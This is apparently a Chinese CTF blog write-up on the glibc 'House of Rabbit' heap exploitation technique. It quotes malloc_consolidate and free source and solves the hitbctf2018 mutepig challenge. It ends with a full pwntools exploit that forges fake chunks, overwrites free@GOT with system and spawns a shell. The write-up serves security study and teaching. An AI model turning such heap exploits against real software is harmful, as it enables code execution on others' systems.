House Of Rabbit

概述

libc2.26以后unlink新增了对size域的检测(检查size和后一个堆块的prev_size是否匹配)

libc2.27以后加入了对fastbin的检查,检查chunk的大小和fastbin是否匹配

要求:fastbin的size域或fd域可控

作用:构造overlapping chunk

利用原理

感觉就是利用了malloc_consolidateunlink时对chunk检查的缺失使fake chunk成为了real chunk

一共有两种利用方式,一种是修改size域,一种是修改fd域,不过效果都是差不多的

控制size域

  1. 申请三个大小属于fastbin的chunkA,chunkB,chunkC(防止在malloc_consolidate中chunkB合并引发错误)
  2. 释放chunkA,chunkB
  3. 修改chunkA的size域
  4. 申请一个超过smallbin大小的堆块(32位程序下为0x200,64位程序下为0x400)

之后chunkA和chunkB就会进入smallbin中,且有重叠

控制fd域

  1. 申请chunkA(大小属于fastbin),chunkB(数据段足够能够伪造chunk)
  2. 释放chunkA同时在chunkB的数据段伪造fake chunk
  3. 修改chunkA的fd域指向伪造的fake chunk
  4. 申请一个超过smallbin大小的堆块

之后也能获得重叠的堆块

伪造堆块

0

需要构造fake chunk’s size,fake chunk’s next chunk’s size和fake chunk’s next chunk’s next chunk’s size

原因先来看malloc_consolidate源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
static void malloc_consolidate(mstate av)
{
mfastbinptr* fb; /* current fastbin being consolidated */
mfastbinptr* maxfb; /* last fastbin (for loop control) */
mchunkptr p; /* current chunk being consolidated */
mchunkptr nextp; /* next chunk to consolidate */
mchunkptr unsorted_bin; /* bin header */
mchunkptr first_unsorted; /* chunk to link to */

/* These have same use as in free() */
mchunkptr nextchunk;
INTERNAL_SIZE_T size;
INTERNAL_SIZE_T nextsize;
INTERNAL_SIZE_T prevsize;
int nextinuse;
mchunkptr bck;
mchunkptr fwd;

/*
If max_fast is 0, we know that av hasn't
yet been initialized, in which case do so below
*/

if (get_max_fast () != 0) {
clear_fastchunks(av);

unsorted_bin = unsorted_chunks(av);

/*
Remove each chunk from fast bin and consolidate it, placing it
then in unsorted bin. Among other reasons for doing this,
placing in unsorted bin avoids needing to calculate actual bins
until malloc is sure that chunks aren't immediately going to be
reused anyway.
*/

maxfb = &fastbin (av, NFASTBINS - 1);
fb = &fastbin (av, 0);
do {
p = atomic_exchange_acq (fb, 0);
if (p != 0) {
do {
check_inuse_chunk(av, p);
nextp = p->fd;//从最大的fastbin和最小的fastbin中遍历

/* Slightly streamlined version of consolidation code in free() */
size = p->size & ~(PREV_INUSE|NON_MAIN_ARENA);//如果前一个chunk为free状态,P位归零(位于fastbin的chunk的P位永远为1)
nextchunk = chunk_at_offset(p, size);//通过偏移获取下一个chunk及其size
nextsize = chunksize(nextchunk);

if (!prev_inuse(p)) {
prevsize = p->prev_size;//向上合并
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd);
}

if (nextchunk != av->top) {//判断下一个是不是top chunk
nextinuse = inuse_bit_at_offset(nextchunk, nextsize);

if (!nextinuse) {//判断下一个的的P位
size += nextsize;
unlink(av, nextchunk, bck, fwd);
} else
clear_inuse_bit_at_offset(nextchunk, 0);

first_unsorted = unsorted_bin->fd;
unsorted_bin->fd = p;
first_unsorted->bk = p;

if (!in_smallbin_range (size)) {
p->fd_nextsize = NULL;
p->bk_nextsize = NULL;
}

set_head(p, size | PREV_INUSE);
p->bk = unsorted_bin;
p->fd = first_unsorted;
set_foot(p, size);
}

else {
size += nextsize;
set_head(p, size | PREV_INUSE);
av->top = p;
}

} while ( (p = nextp) != 0);

}
} while (fb++ != maxfb);
}
else {
malloc_init_state(av);
check_malloc_state(av);
}
}

可以看出挨个遍历时有两种终止条件,一种是遇到top chunk,一种是下一个chunk的P位不为0

那么对应到我们的例子上来,先是从我们的fastbin开始,fastbin的下一个也就是size为0x110的那个堆块P位为0,下一个

然后来到我们的fake chunk,先检查fake chunk的下一个chunk,也就是我们第一个0x20大小的chunk,这里P位为0,进行一系列操作后继续判断第二个0x20大小的chunk,P位为1,遍历结束

例题 hitbctf2018 - mutepig

静态分析

2

main函数,menu函数里有个system("cat banner.txt")应该是远程的菜单文件,然后逆向出有三个指令

先来看add

3

有四种情况,分别对应的是fastbin,smallbin,largebin大小还有一个超大的

申请后可以往堆块里读入7个字节

4

这里input函数只会读入7个字节,如果在发送的时候直接用p64()处理发过去会导致后面的数据出问题

然后继续来看dele函数

5

这里很容易看出来存在uaf漏洞

继续看edit函数

6

指定一个堆块写7个字节然后在指定地址写入0x2f个字节

这个指定地址位于bss段

还有一个关键数据就是ptr

8

位于bss段的0x6020c0处,储存的是申请的chunk的指针,如果控制了这个位置就可以通过edit做到任意地址写了

函数分析完了,然后发现除了除了程序开头那里调用system外没有任何输出,checksec看一下

7

没开PIE还只开了Partial RELRO说明修改got表是可行的,修改got表也确实不需要用到libc基址,那么我们就往那方向靠

利用思路

在分析思路前,先把需要知道的前置知识说一下

  1. 我们知道,当使用top chunk分配而top chunk又不够时会调用sysmalloc来进行分配,当大于mp_.mmap_threshold时会调用mmap来进行内存拓展,反之则调用sbrk来拓展,而这个变量的初始值是0x20000

  2. 来看free对unsorted bin是如何处理的

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    void
    __libc_free (void *mem)
    {
    mstate ar_ptr;
    mchunkptr p; /* chunk corresponding to mem */

    void (*hook) (void *, const void *)
    = atomic_forced_read (__free_hook);
    if (__builtin_expect (hook != NULL, 0))
    {
    (*hook)(mem, RETURN_ADDRESS (0));
    return;
    }

    if (mem == 0) /* free(0) has no effect */
    return;

    p = mem2chunk (mem);

    if (chunk_is_mmapped (p)) /* release mmapped memory. */
    {
    /* see if the dynamic brk/mmap threshold needs adjusting */
    if (!mp_.no_dyn_threshold
    && p->size > mp_.mmap_threshold
    && p->size <= DEFAULT_MMAP_THRESHOLD_MAX)
    {
    mp_.mmap_threshold = chunksize (p);//mp_.mmap_threshold的值发生变化
    mp_.trim_threshold = 2 * mp_.mmap_threshold;
    LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2,
    mp_.mmap_threshold, mp_.trim_threshold);
    }
    munmap_chunk (p);
    return;
    }

    ar_ptr = arena_for_chunk (p);
    _int_free (ar_ptr, p, 0);
    }

    在27行,如果堆块是映射的,当该堆块被释放时,mp_.no_dyn_threshold这个阈值也会相应增加

  3. 当有unsorted bin存在的时候,malloc函数会先遍历unsorted bin看能否找到合适的chunk

1
2
3
4
5
6
7
8
9
10
for (;; )
{
int iters = 0;
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
{
bck = victim->bk;
if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
|| __builtin_expect (victim->size > av->system_mem, 0))//检查大小是否大于system_mem
malloc_printerr (check_action, "malloc(): memory corruption",
chunk2mem (victim), av);

但是在遍历unsorted bin进行遍历时会检查申请的大小是否大于system_mem,而在对large bin进行遍历时没有这个检测

那么利用思路如下:

  1. 通过house of rabbit将在0x602120处构造的fake chunk进入bins中
  2. 因为0x602120处的数据是可控的,所以我们可以修改其size域使其进入large bin里
  3. 然后再申请那个超大分支,使remainder就位于ptr那个位置
  4. 然后通过修改ptr的值达到任意地址写

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
from pwn import*
elf = ELF('./mutepig')
#libc = ELF('')
context(arch=elf.arch, os=elf.os,log_level='debug')
local = 1
if local:
io = process([elf.path])
else:
io = remote()
DEBUG = 0
if DEBUG and local:
gdb.attach(io,
'''
b 0x400bce
''')

p = lambda : pause()
ru = lambda x : io.recvuntil(x)
rl = lambda : io.recvline()
r = lambda x : io.recv(x)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
ia = lambda : io.interactive()
sla = lambda a, b : io.sendlineafter(a, b)
sa = lambda a, b : io.sendafter(a, b)
uu32 = lambda x : u32(r(x).ljust(4,b'\x00'))
uu64 = lambda x : u64(r(x).ljust(8,b'\x00'))
lg = lambda x,y : log.success(str(x) + ' -> ' + hex(y))

def dbg():
gdb.attach(io)
p()

def menu(choice):
sl(str(choice))

def add(case,content):
menu(1)
sl(str(case))
s(content)

def dele(idx):
menu(2)
sl(str(idx))

def edit(idx,content1,content2):
menu(3)
sl(str(idx))
s(content1)
s(content2)
if __name__ == '__main__':
add(3,b'snor')#0
dele(0)
add(3,b'lax')#1
dele(1)#扩大top chunk

#构造fastbin链
add(1,b'2')
dele(2)
payload0 = p64(0)*3 + p64(0x11) + p64(0) + p64(1)[:7]
#dbg()
edit(2,p64(0x602130)[:7],payload0)
add(3,b'3')#将fakechunk归入bin中
#更改fake chunk的size
payload1 = p64(0)*3 + p64(0xa00001)
#dbg()
edit(2,b'/bin/sh',payload1)
add(3,b'4')#faekchunk入largebin
#free_plt = 0x0000000000602018
payload2 = p64(0)*3 + p64(0xfffffffffffffff1)#case13337申请0xFFFFFFFFFFFFFF70LL
edit(4,'3',payload2)
add(13337,b'5')#这里执行过后remainder位于0x6020b0

add(1,p64(elf.got['free'])[:7])#这里free_got就在0x6020c0处
edit(0,p64(elf.sym['system'])[:7],p64(0x70)[:7])#通过0索引修改free_got
dele(2)
#dbg()
ia()

参考链接

ctf-wiki

我可是会飞的啊师傅

gets师傅